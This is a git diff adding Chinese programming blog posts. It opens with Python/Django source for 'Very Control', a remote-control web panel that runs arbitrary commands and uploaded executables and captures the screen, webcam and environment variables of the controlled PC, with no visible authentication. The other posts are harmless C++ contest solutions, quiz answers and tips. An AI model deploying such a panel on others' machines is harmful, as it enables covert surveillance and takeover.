+from os import system, remove, environ +from base64 import a85decode, b64encode +from sys import path +from requests import get +from pyautogui import screenshot +from tkinter import Tk +from time import strftime, sleep +from cv2 import VideoCapture, imwrite +from pyttsx3 import init as ttsInit + +# 定义 TTS 朗读者 +tts_name = [] +engine = ttsInit() +voices = engine.getProperty('voices') +for voice in voices: + tts_name.append(voice.name) +engine.stop() +del engine +tts_name.append('Windows SAPI.spVoice') + +# 求最大公因数 +def gcd(a, b): + if b == 0: + return a + else: + return gcd(b, a % b) + + +# 适配图片比例 +def change(a, b): + x = gcd(a, b) + a /= x + b /= x + while a < 500 or b < 500: + a *= 2 + b *= 2 + return (a, b) + + +# 拍照 +def get_photo(): + cap = VideoCapture(0) + f, frame = cap.read() + imwrite("./photo.png", frame) + with open("./photo.png", "rb") as f: + temp = b64encode(f.read()).decode() + remove("./photo.png") + cap.release() + return "data:image/png;base64,%s" % temp + + +# 主页 +def main(request): + return HttpResponse( + """Very Control + +
+

Very Control 多对一远程控制平台

+

输入命令:

+

带有回显的命令: +

上传应用程序:

+

提交批处理文件的源代码:

+

+ +
+

+
+

其他功能:截取屏幕\t\t查看被控制者信息\t\t捕获摄像头\t\t发送消息\t\t阅读官方通知

+""" + ) + + +# 阅读通知 +def readNotice(request): + return HttpResponse( + """阅读官方通知 +

官方通知

+

+ +

页面加载较慢是正常现象,请耐心等候。

+

+

软件信息:

+

开发者:PanDaoxi

+

开发者邮箱(欢迎意见反馈和技术支持):

+

Very_Control软件已经开源,欢迎前来查看😀

+
回到主页
+""" + ) + + +# 运行 +def run(request): + system("chcp 65001 >nul") + text = request.POST.get("command") + code = request.POST.get("code") + runf = request.FILES.get("runf") + echo = request.POST.get("echo") + if code: # 优先级最高的 执行批处理脚本 + with open("temp.bat", "w", encoding="utf-8") as f: + f.write(code + "\nexit") + system("start %s\\temp.bat" % path[0]) + if runf: # 次之的应用程序 + with open("temp.exe", "wb") as f: + f.write(b"") + with open("temp.exe", "wb") as f: + for i in runf.chunks(): + f.write(i) + system("start %s\\temp.exe" % path[0]) + if text: # 最后是直接执行命令 + system(text) + if echo: # 带回显的执行命令 + try: + remove("temp.txt") + except: + pass + system("%s >> temp.txt" % echo) + with open("temp.txt", "r", encoding="utf-8") as f: + ret = f.read().splitlines() + s = "" + for i in ret: + s += "

%s

\n" % i + return HttpResponse( + """程序运行结果 +%s +


+
回到主页
""" + % s + ) + return HttpResponse('

运行成功!🎉🎉

') + + +# 截图 +def ss(request): + window = Tk() + window.withdraw() + width = window.winfo_screenwidth() + height = window.winfo_screenheight() + image = screenshot(region=(0, 0, width, height)) + image.save("./screenshot.png") + with open("./screenshot.png", "rb") as f: + content = b64encode(f.read()).decode() + remove("./screenshot.png") + w, h = change(width, height) + return HttpResponse( + """Screen Shot +
+ 截图 +


+ 回到主页\t\t重新截图 +
+ """ + % (content, h, w) + ) + window.mainloop() + + +# 环境信息 +def inf(request): + system("chcp 65001 >nul") + s1 = "" + for i in environ.keys(): + s1 += "

%s\t%s

\n" % (i, environ[i]) + try: + remove("temp.txt") + except: + pass + system("tasklist>>temp.txt") + with open("temp.txt", "r", encoding="utf-8") as f: + s2 = f.read().splitlines() + remove("temp.txt") + s3 = "" + for i in s2: + s3 += "

%s

\n" % i + return HttpResponse( + """Os_Environ +

系统环境变量

+%s +


+

运行的进程(如需对齐可以看此网页的源代码)

+%s +


+
返回主页
+""" + % (s1, s3) + ) + + +# 拍照 +def camera(request): + return HttpResponse( + """摄像头捕获 +
+ 摄像头捕获 +

+

该功能可能会比较卡顿;如果不能正常显示出摄像头图像,可能是因为被控制设备的摄像头无法访问。

+

+ 回到主页\t\t重新拍照 +
+ """ + % get_photo() + ) + + +# 发送消息文本 +def sendMessage(request): + return HttpResponse( + """发送消息文本 + +
+

Very Control - 消息发送器

+

发送语音消息(内容将会在被控制端朗读,您可以自定义朗读者,或使用默认值):

+

输入发送给被控制端的消息,消息将会以警示框的形式表现:

+

+ +

+


+
回到主页
+""" + ) + + +# 显示信息 +def showMessage(request): + msg = request.POST.get("msg") + reader = request.POST.get("reader") + if msg: + with open("temp.py", "w+", encoding="utf-8") as f: + f.write("from easygui import msgbox\nmsgbox('''%s''',\"Very Control\")" % msg) + system("start /min cmd /c temp.py") + if reader: + tts_config = [] + try: + with open("TTS_config", "r", encoding="utf-8") as f: + tts_config = f.read().splitlines() + c1, c2, c3 = int(tts_config[0]), int(tts_config[1]), float(tts_config[2]) + except: + c1, c2, c3 = 0, 100, 1.0 + if tts_config[0] == "2": + with open("say.vbs", "w", encoding="ANSI") as f: + f.write("set sapi = createObject(\"SAPI.SpVoice\")\nsapi.Speak \"%s\"" % reader) + system("start /min cmd /c call \"say.vbs\"") + else: + engine = ttsInit() + engine.setProperty("rate", c2) + engine.setProperty("volume", c3) + voices = engine.getProperty("voices") + engine.setProperty("voice", voices[c1].id) + engine.say(reader) + engine.runAndWait() + engine.stop() + return HttpResponse("""

发送成功!✨

""") + + +def setupTTS(request): + temps = "" + for i in range(len(tts_name)-1, -1, -1): + temps += " %s
\n" % (i, tts_name[i]) + return HttpResponse( + """自定义 TTS + + +

Very Control - 自定义 TTS 朗读者

+

设置朗读者音色:

+ %s +

+

以下设置,仅对非 SAPI 有效;错误的设置将使用默认值。

+

语速:

+

音量:

+

恢复默认设置

+ +

+


+
回到上一页
+""" + % temps + ) + + +def updateTTS(request): + tts_id = request.POST.get("tts_id") + tts_speed = request.POST.get("tts_speed") + tts_volume = request.POST.get("tts_volume") + if tts_id == None and tts_speed == None and tts_volume == None: + tts_id = "0" + tts_speed = "100" + tts_volume = "1.0" + with open("TTS_config", "w", encoding="utf-8") as f: + f.write("%s\n%s\n%s" % (tts_id, tts_speed, tts_volume)) + return HttpResponse("""

保存完成!🎈

""") + +urlpatterns = [ + site("", main), + site("jump", main), + site("run", run), + site("ss", ss), + site("inf", inf), + site("cam", camera), + site("sendm", sendMessage), + site("showm", showMessage), + site("rn", readNotice), + site("settts", setupTTS), + site("upd_tts", updateTTS), +] + +``` + +# 最后 +有些时候,有些BUG,总也改不掉。还是需要专业的力量的😅。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c892ff73572c4eb59a84872f18e2c862.jpeg) +对此感谢博客园和菜鸟教程的帮助! +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/6ccac558726141cb806e9a87a2abc080.jpeg) +完美结束。 diff --git "a/\350\223\235\346\241\245\346\235\257\345\244\247\350\265\233\346\250\241\346\213\237\351\242\230\357\274\210\347\254\254\344\270\200\345\274\271\357\274\211.md" "b/\350\223\235\346\241\245\346\235\257\345\244\247\350\265\233\346\250\241\346\213\237\351\242\230\357\274\210\347\254\254\344\270\200\345\274\271\357\274\211.md" new file mode 100644 index 0000000..a530237 --- /dev/null +++ "b/\350\223\235\346\241\245\346\235\257\345\244\247\350\265\233\346\250\241\346\213\237\351\242\230\357\274\210\347\254\254\344\270\200\345\274\271\357\274\211.md" @@ -0,0 +1,103 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b1ee7754179b45c88f45d8e898336985.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +太太太太太简单了!!! + +```cpp +//author:pandaoxi +#include +using namespace std; +int main(){ + int n,sum=0; + cin>>n; + for(int i=1;i<=n;i++) sum+=i; + cout< +#include +using namespace std; +int main(){ + char a[10001]; + int sum1=0,sum2=0; + cin>>a; + for(int i=0;i='A'&&a[i]<='Z')||(a[i]>='a'&&a[i]<='z')) sum1++; + } + cout< +#include +using namespace std; +int main(){ + int a[6]; + for(int i=0;i<5;i++){ + cin>>a[i]; + } + sort(a,a+5); + for(int i=4;i>=1;i--){ + cout< +using namespace std; +int zuidagongyinshu(int x,int y){ + int maxn,a[10001],k=0,big=(x>y?x:y); + for(int i=1;i<=big;i++){ + if(x%i==0&&y%i==0) a[k++]=i; + } + maxn=a[0]; + for(int i=0;iy?x:y); + if(huzhi(x,y)) return x*y; + int c=x,d=y; + n=zuidagongyinshu(c,d); + while(huzhi(c,d)==false&&n!=1){ + n=zuidagongyinshu(c,d); + c/=n; + d/=n; + b[k++]=n; + } + sum=c*d; + for(int i=0;i>a>>b; + cout< +using namespace std; +int main(){ + int n,m=0; + cin>>n; + for(int i=1;i<=n;i++){ + if(i%2) m+=i; + } + cout< +#include +using namespace std; +int main(){ + int n,a[31]={},k=0; + cin>>n; + for(int i=1;i<=n;i++){ + a[k++]=pow(i,2); + } + for(int i=0;i +using namespace std; +int main(){ + int n; + cin>>n; + if(n%2) cout<<1< +#include +using namespace std; +int main(){ + char a[10001]; + cin>>a; + cout< +using namespace std; +int main(){ + int m,n,k=0,a[10001]; + cin>>m>>n; + for(int i=m;i<=n;i++){ + if(i%5&&i%7==0) a[k++]=i; + } + for(int i=0;i<(k-1);i++){ + cout< 我的答案:C +> 分析:没啥好分析的,小学五年级下科学第一单元将机械。 + +2. 百度公司的主营业务与以下哪家公司类似( ) 分值5分 +A 谷歌公司 Google +B 微软公司 Microsoft +C 苹果公司 Apple +D 亚马逊公司 Amazon + +> 我的答案:A +> 分析:百度主营搜索引擎,谷歌也是 + +3. 于 2019 年末开始出现、在多国传播的新冠肺炎(SARS-CoV-2)是由( )引起的。 分值5分 +A 细菌 +B 病毒 +C 流感 +D 阴谋 + +> 我的答案:B +> 分析:咳咳咳,不用说了吧 + +4. 【2020年1月12日STEMA选拔赛】学校新开通了信息系统,同学们都需要设置自己的密码。下面那个密码你觉得最安全?( ) 分值5分 +A 111111 +B 123456 +C stemone +D Stem1Society + +> 我的答案:D +> 分析:越复杂的密码越安全 + +5. 1只兔子的重量加上1只猴子的重量等于 8 只鸡的重量,3 只兔子的重量等于 9 只鸡的重量,那么 1 只猴子的重量等于几只鸡的重量?( ) 分值5分 +A 2 +B 5 +C 3 +D 4 + +> 我的答案:B +> 分析:代数思想 +> +> ```python +> 设一只兔子的重量为x,一只猴子的重量为y, +> 一只鸡的重量为z,则 +> x+y=8z (1) +> 3x=9z +> 进一步解可得 +> ∵3x=9z +> ∴x=3z (2) +> 将(2)代入(1) +> 3z+y=8z +> 解得 y=5z +> ``` +> 就这样吧,我相信你能看懂的。 + +6. 据说古希腊柏拉图学园门口立了一块牌子,“不懂几何者禁止入内”。有一天来了一群人,他们都是懂几何的人,那么他们( ) 分值5分 +A 可能会被允许进入 +B 一定会被允许进入 +C 一定不会被允许进入 +D 不可能不被允许进入 + +> 我的答案:A +> 分析:文字游戏。 + +7. 【2020年1月12日STEMA选拔赛】质地均匀的正方体骰子,其六个面上分别刻有 1,2,3,4,5,6 六个数字, 掷骰子一次,则向上一面的数字是偶数的概率为( ) 分值5分 +A 50% +B 100% +C 75% +D 66% + +> 我的答案:A +> 分析:偶数有3个,向上的方式一共六种,所以我觉得选A + + +8. 电子邮件地址中一定会出现的字符是( ) 分值5分 +A - +B @ +C ! +D # +> 我的答案: B +> 分析:也是简单到了极致,不说什么了 + +9. 当你在网络上缴费购买了一个具有版权的软件时,你获得了这个软件的( ) 分值5分 +A 复制权 +B 修改权 +C 使用权 +D 以上三项都包括 +> 我的答案:C +> 分析:买了你不用,你干啥子 + +10. 十个同学等距离地围绕一个圆桌子落座准备玩纸牌,每位玩家被依序编号为1-10 号。请问编号为“9”的同学,他的正对面是几号同学( )。 分值5分 +A 5 +B 2 +C 3 +D 4 + +> 我的答案:D +> 分析:不清楚是不是这样 +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/f85db44a667845218304a6922c4b47ad.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +11. “参加活动的人有初中生”与”参加活动的人有不是初中生的”( )。 分值5分 +A 可同时为真,可同时为假 +B 不可同时为真,不可同时为假 +C 不可同时为真,可同时为假 +D 可同时为真,不可同时为假 + +> 我的答案:D +> 分析:第一句可真可假;当第一句假,第二句必是真;当第一句真,第二句可以为真,也可以是假。两句可以同时为真,但不可同时为假。 + +12. 【STEM能力测试白皮书真题】“事实”与“观点”的区分是很重要的。在下列陈述最不可能属于“观点”的是( )。 分值5分 +A “露西”少女可能采取直立行走的运动方式 +B “东非人”已经具有制造和使用工具的能力 +C 在东非的大裂谷带发现了许多早期的古人类化石 +D 亚洲的直立人是从非洲迁徙过来的 + +> 我的答案:C +> 分析:有事实证据。 + +13. 【2019年12月15日STEMA选拔赛】绝大多数的计算机采用( )进行运算。 分值5分 +A 十进制 +B 十六进制 +C 二进制 +D 八进制 + +> 我的答案:C +> 分析:不需要分析,大家都知道 + + +14. 将 60 个红球、8 个白球排成一条直线,至少会有( )个红球连在一起。 分值5分 +A 6 +B 8 +C 7 +D 5 + + +> 我的答案: +> 分析:抽屉原理。将红球分成尽量多的份数,可分成(8+1=)9份,60除以9商6余6。考虑最少的一组,有(6+1=)7个。 +> 如果这样不好理解,就画个图想想看,我有7个红球,2个白球,再解一下试试看 +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/34642da8ec1c4e58861704e6a0409c3b.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + + +15. 【2019年12月15日STEMA选拔赛】中世纪的黑死病造成欧洲上千万人死亡。本质上来讲,黑死病是一种( ) 分值5分 +A 麻疹 +B 天花 +C 流感 +D 鼠疫 + + +> 我的答案:D +> 分析:常识 + + +16. 生活中常用的铅笔上都标有如“2B”或“5B”等标识,其中 B 前面的数字越大代表铅笔( ) 分值5分 +A 越黑越软 +B 越黑越硬 +C 越浅越硬 +D 越浅越软 + + +> 我的答案:A +> 分析:生活经验 + + diff --git "a/\350\276\223\345\205\245\346\263\225\347\232\204\351\253\230\346\225\210\344\275\277\347\224\250.md" "b/\350\276\223\345\205\245\346\263\225\347\232\204\351\253\230\346\225\210\344\275\277\347\224\250.md" new file mode 100644 index 0000000..e659f34 --- /dev/null +++ "b/\350\276\223\345\205\245\346\263\225\347\232\204\351\253\230\346\225\210\344\275\277\347\224\250.md" @@ -0,0 +1,42 @@ +输入法是每台电脑上所必需的东西。我们在电脑上打字,用到输入法,几乎和文字相关的,都联系到输入法。 +除了快捷键,输入法还有很多不为人知的功能。虽然输入法的品牌各不相同,有搜狗,有百度,有微软……品牌不限,但功能应该都有。这里使用搜狗输入法进行演示: +下面是详细目录: +@[TOC](功能目录) + +# 表情功能 +首先,我们可以用输入法自带的表情包: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a27d9fd4cd64487d84de1657fab0b55e.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a5045449a51442a3823f1e1d154868ec.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +可真不少,大多都是图片和动图形式,拿出来直接用: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/f9d530d6893f4f6e98df03801c394675.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +但是,我要介绍的不止这些,而是`Win+.`键组合的emoji表情: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4f2b870f25384d8f8bfdee06bcbc5378.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +由于我这里无法截图,我就简单说一下。😁 +# U功能 +输入时输入u即可看到以下页面: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c88ea6f7967644a5bb9b501e69db77df.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +它可以帮助我们快速打出生僻字,如`又双叒叕`,我们打后两个字,输入`u'you'you'you`即可打出叒: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/889460d26df04e28b4ec71e5f93999df.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +还可以查拼音,这样生僻字就简单许多就打出来了。 +# V模式 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/0c490052c1c9401eb625088856391391.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +这个功能可以方便我们进行很多操作,如把数字变成大写,日期,计算和各类函数。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/27b7a89750294cd49e36a0e47ae20f25.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_17,color_FFFFFF,t_70,g_se,x_16) +有十分多的函数可以使用: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/e3edf05cd8ca4fc09e2ad074fc081abf.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +轻松省时省力。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/423cf402772146b09f2f3a926870faed.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +# 关键词 +如时间: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/0e0c5f77ee314cd2a1585f7cc08c766b.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +版本: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2f11414251c04b958d31706952c8495c.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +日期: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b75a72fa7554417fa1af14e07a494fd2.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +派: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/0e9ead174eb1411eb428294061366b5c.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +除: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/661f6962385249ff884b222bae108e50.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +对: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/6f720315807d4f2da30530d48e5f6a2d.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +…………… diff --git "a/\350\276\223\345\207\272Python\344\271\213\347\246\205\357\274\210\346\226\207\346\234\253\346\234\211\345\205\254\345\221\212\357\274\211.md" "b/\350\276\223\345\207\272Python\344\271\213\347\246\205\357\274\210\346\226\207\346\234\253\346\234\211\345\205\254\345\221\212\357\274\211.md" new file mode 100644 index 0000000..8857f8d --- /dev/null +++ "b/\350\276\223\345\207\272Python\344\271\213\347\246\205\357\274\210\346\226\207\346\234\253\346\234\211\345\205\254\345\221\212\357\274\211.md" @@ -0,0 +1,53 @@ +我们来输出Python最经典的话语——Python之禅。 +整个程序只需要一行代码: + +```python +import this +``` +运行之后会发现输出以下结果: + +> The Zen of Python, by Tim Peters +> +>Beautiful is better than ugly. +Explicit is better than implicit. +Simple is better than complex. +Complex is better than complicated. +Flat is better than nested. +Sparse is better than dense. +Readability counts. +Special cases aren't special enough to break the rules. +Although practicality beats purity. +Errors should never pass silently. +Unless explicitly silenced. +In the face of ambiguity, refuse the temptation to guess. +There should be one-- and preferably only one --obvious way to do it. +Although that way may not be obvious at first unless you're Dutch. +Now is better than never. +Although never is often better than *right* now. +If the implementation is hard to explain, it's a bad idea. +If the implementation is easy to explain, it may be a good idea. +Namespaces are one honking great idea -- let's do more of those! + +翻译过来就是: + +> Tim Peters 的 python 之禅 +> +> 优美胜于丑陋,明了胜于晦涩。 +简洁胜于复杂,复杂胜于凌乱。 +扁平胜于嵌套,间隔胜于紧凑。 +可读性很重要,即便假借特例的实用性之名,也不可违背这些规则。 +不要包容所有错误,除非你确定需要这样做。 +当存在多种可能,不要尝试去猜测。 +而是尽量找一种,最好是唯一一种明显的解决方案。 +虽然这并不容易,因为你不是 Python 之父。 +做也许好过不做,但不假思索就动手还不如不做。 +如果你无法向人描述你的方案,那肯定不是一个好方案;反之亦然。 +命名空间是一种绝妙的理念,我们应当多加利用。 + +完成了! + +
公告
+ +我的文章到现在(2020年8月27日)为止共30篇,以后可能随时更新。 +更多内容请大家看我的博客《Python学习之路》系列,谢谢您的支持! + diff --git "a/\350\276\223\345\207\272\346\237\220\344\270\200\344\270\252\346\225\260\347\232\204\344\272\214\350\277\233\345\210\266.md" "b/\350\276\223\345\207\272\346\237\220\344\270\200\344\270\252\346\225\260\347\232\204\344\272\214\350\277\233\345\210\266.md" new file mode 100644 index 0000000..5dc835a --- /dev/null +++ "b/\350\276\223\345\207\272\346\237\220\344\270\200\344\270\252\346\225\260\347\232\204\344\272\214\350\277\233\345\210\266.md" @@ -0,0 +1,4 @@ +```python +while 1:print('改变结果:',bin(int(input('请输入您想要改为二进制的数字:'))).split('b')[1]) +``` + diff --git "a/\351\242\230\350\247\243\343\200\212\345\255\220\346\225\260\346\225\264\346\225\260\343\200\213\343\200\201\343\200\212\346\254\242\344\271\220\345\234\260\350\267\263\343\200\213\343\200\201\343\200\212\345\274\200\347\201\257\343\200\213.md" "b/\351\242\230\350\247\243\343\200\212\345\255\220\346\225\260\346\225\264\346\225\260\343\200\213\343\200\201\343\200\212\346\254\242\344\271\220\345\234\260\350\267\263\343\200\213\343\200\201\343\200\212\345\274\200\347\201\257\343\200\213.md" new file mode 100644 index 0000000..d5c27d3 --- /dev/null +++ "b/\351\242\230\350\247\243\343\200\212\345\255\220\346\225\260\346\225\264\346\225\260\343\200\213\343\200\201\343\200\212\346\254\242\344\271\220\345\234\260\350\267\263\343\200\213\343\200\201\343\200\212\345\274\200\347\201\257\343\200\213.md" @@ -0,0 +1,271 @@ +@[TOC] + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/6d07c5288f324f91a6b7db77b6f3b952.png) + +# 子数整数 + +## 题目描述 + +对于一个五位数$a_1a_2a_3a_4a_5$,可将其拆分为三个子数: + +$sub_1=a_1a_2a_3$ + +$sub_2=a_2a_3a_4$ + +$sub_3=a_3a_4a_5$ + +例如,五位数$20207$可以拆分成 + +$sub_1=202$ + +$sub_2=020(=20)$ + +$sub_3=207$ + +现在给定一个正整数$K$,要求你编程求出$10000$到$30000$之间所有满足下述条件的五位数,条件是这些五位数的三个子数$sub_1,sub_2,sub_3$都可被$K$整除。 + +## 输入格式 + +一个正整数K + +## 输出格式 + +每一行为一个满足条件的五位数,要求从小到大输出。不得重复输出或遗漏。如果无解,则输出“No”。 + +## 样例 #1 + +### 样例输入 #1 + +``` +15 +``` + +### 样例输出 #1 + +``` +22555 +25555 +28555 +30000 +``` + +## 提示 + +$0 +using namespace std; +bool f(char s[],int k){ + // 写个函数判断一下切开后是否能被整除 + int sub[4]={}; + sub[0]=(s[0]-'0')*100+(s[1]-'0')*10+(s[2]-'0'), + sub[1]=(s[1]-'0')*100+(s[2]-'0')*10+(s[3]-'0'), + sub[2]=(s[2]-'0')*100+(s[3]-'0')*10+(s[4]-'0'); + // cout<>k; + for(int i=10000;i<=30000;i++){ + // 当初写得不对,但是懒得改了,直接转字符串套函数 + char s[7]={}; + s[0]=i/10000+'0', + s[1]=(i%10000)/1000+'0'; + s[2]=(i%1000)/100+'0'; + s[3]=(i%100)/10+'0'; + s[4]=i%10+'0'; + if(f(s,k)) a[n++]=i; // 储存到数组里面 + } + if(n==0){ // 无解 + cout<<"No"; + return 0; + } + for(int i=0;i +#include +using namespace std; +int main(){ + int n,a[1001]; + bool flag=false; + cin>>n; + // 读入数据 + for(int i=0;i>a[i]; + } + for(int i=0;i +using namespace std; +int main(){ + int n; + // 写个布尔数组储存数据,而且空间用得少 + bool flag[20000001]={}; + cin>>n; + for(int i=1;i<=n;i++){ + // 输入实数a 和 整数t + double a; + int t; + cin>>a>>t; + // 核心处理,把路灯关的打开,开的关掉 + for(int j=1;j<=t;j++){ + // 一个数学原理 + flag[int(j*a)]-=1; + flag[int(j*a)]*=-1; + } + } + // 输出结果 + for(int i=1;i<20000001;i++){ + if(flag[i]){ + cout< +using namespace std; +int main(){ + int a,b,s,max=0,day=0; + for(int i=1;i<8;i++){ + cin>>a>>b; + s=a+b; + if ((s>max)&&(s>8)) max=s,day=i; + } + cout< +using namespace std; +struct su{ + int a,b,total; +} jin[3002]; +int main(){ + int n,s=0; + cin>>n; + jin[0].total=0; + for(int i=1;i<=n;i++){ + cin>>jin[i].a>>jin[i].b; + jin[i].total=jin[i-1].total+jin[i].a+jin[i].b-8; + } + for(int i=1;i<=n;i++){ + s+=jin[i].total; + } + cout< +using namespace std; +int main(){ + int n,x,y,last=0,s=0; + cin>>n; + for(int i=0;i>x>>y; + s+=(last+=x+y-8); + } + cout< 一道比较简单的题目,直接上程序吧! + +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + int x=1,y=1; + string s1,s2; + cin>>s1>>s2; + for(int i=0;i +using namespace std; +int a[1229]={2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101,103,107,109,113,127,131,137,139,149,151,157,163,167,173,179,181,191,193,197,199,211,223,227,229,233,239,241,251,257,263,269,271,277,281,283,293,307,311,313,317,331,337,347,349,353,359,367,373,379,383,389,397,401,409,419,421,431,433,439,443,449,457,461,463,467,479,487,491,499,503,509,521,523,541,547,557,563,569,571,577,587,593,599,601,607,613,617,619,631,641,643,647,653,659,661,673,677,683,691,701,709,719,727,733,739,743,751,757,761,769,773,787,797,809,811,821,823,827,829,839,853,857,859,863,877,881,883,887,907,911,919,929,937,941,947,953,967,971,977,983,991,997,1009,1013,1019,1021,1031,1033,1039,1049,1051,1061,1063,1069,1087,1091,1093,1097,1103,1109,1117,1123,1129,1151,1153,1163,1171,1181,1187,1193,1201,1213,1217,1223,1229,1231,1237,1249,1259,1277,1279,1283,1289,1291,1297,1301,1303,1307,1319,1321,1327,1361,1367,1373,1381,1399,1409,1423,1427,1429,1433,1439,1447,1451,1453,1459,1471,1481,1483,1487,1489,1493,1499,1511,1523,1531,1543,1549,1553,1559,1567,1571,1579,1583,1597,1601,1607,1609,1613,1619,1621,1627,1637,1657,1663,1667,1669,1693,1697,1699,1709,1721,1723,1733,1741,1747,1753,1759,1777,1783,1787,1789,1801,1811,1823,1831,1847,1861,1867,1871,1873,1877,1879,1889,1901,1907,1913,1931,1933,1949,1951,1973,1979,1987,1993,1997,1999,2003,2011,2017,2027,2029,2039,2053,2063,2069,2081,2083,2087,2089,2099,2111,2113,2129,2131,2137,2141,2143,2153,2161,2179,2203,2207,2213,2221,2237,2239,2243,2251,2267,2269,2273,2281,2287,2293,2297,2309,2311,2333,2339,2341,2347,2351,2357,2371,2377,2381,2383,2389,2393,2399,2411,2417,2423,2437,2441,2447,2459,2467,2473,2477,2503,2521,2531,2539,2543,2549,2551,2557,2579,2591,2593,2609,2617,2621,2633,2647,2657,2659,2663,2671,2677,2683,2687,2689,2693,2699,2707,2711,2713,2719,2729,2731,2741,2749,2753,2767,2777,2789,2791,2797,2801,2803,2819,2833,2837,2843,2851,2857,2861,2879,2887,2897,2903,2909,2917,2927,2939,2953,2957,2963,2969,2971,2999,3001,3011,3019,3023,3037,3041,3049,3061,3067,3079,3083,3089,3109,3119,3121,3137,3163,3167,3169,3181,3187,3191,3203,3209,3217,3221,3229,3251,3253,3257,3259,3271,3299,3301,3307,3313,3319,3323,3329,3331,3343,3347,3359,3361,3371,3373,3389,3391,3407,3413,3433,3449,3457,3461,3463,3467,3469,3491,3499,3511,3517